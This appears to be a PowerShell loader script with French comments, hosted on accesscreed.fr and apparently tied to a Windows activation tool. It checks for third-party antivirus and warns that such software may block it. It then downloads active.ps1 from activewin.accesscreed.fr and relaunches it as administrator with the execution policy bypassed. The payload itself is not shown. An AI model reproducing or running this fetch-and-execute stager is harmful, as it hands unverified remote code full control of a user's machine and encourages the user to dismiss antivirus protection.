# This script is hosted on https://accesscreed.fr
        function Check3rdAV {
    $avList = Get-CimInstance -Namespace root\SecurityCenter2 -Class AntiVirusProduct | Where-Object { $_.displayName -notlike '*windows*' } | Select-Object -ExpandProperty displayName
    if ($avList) {
        Write-Host '3rd party Antivirus might be blocking the script - ' -ForegroundColor White -BackgroundColor Blue -NoNewline
        Write-Host " $($avList -join ', ')" -ForegroundColor DarkRed -BackgroundColor White
    }
}
# URL du script
$ScriptUrl = "https://activewin.accesscreed.fr/active.ps1"
$TempScript = Join-Path $env:TEMP "activewin.ps1"

# Télécharger le script
Invoke-WebRequest -Uri $ScriptUrl -OutFile $TempScript
Write-Host "=== Elevation de securite requise ===" -ForegroundColor Yellow
Start-Sleep -Seconds 2
# Relancer en mode administrateur
Start-Process PowerShell.exe -Verb RunAs -ArgumentList "-ExecutionPolicy Bypass -File `"$TempScript`""
Exit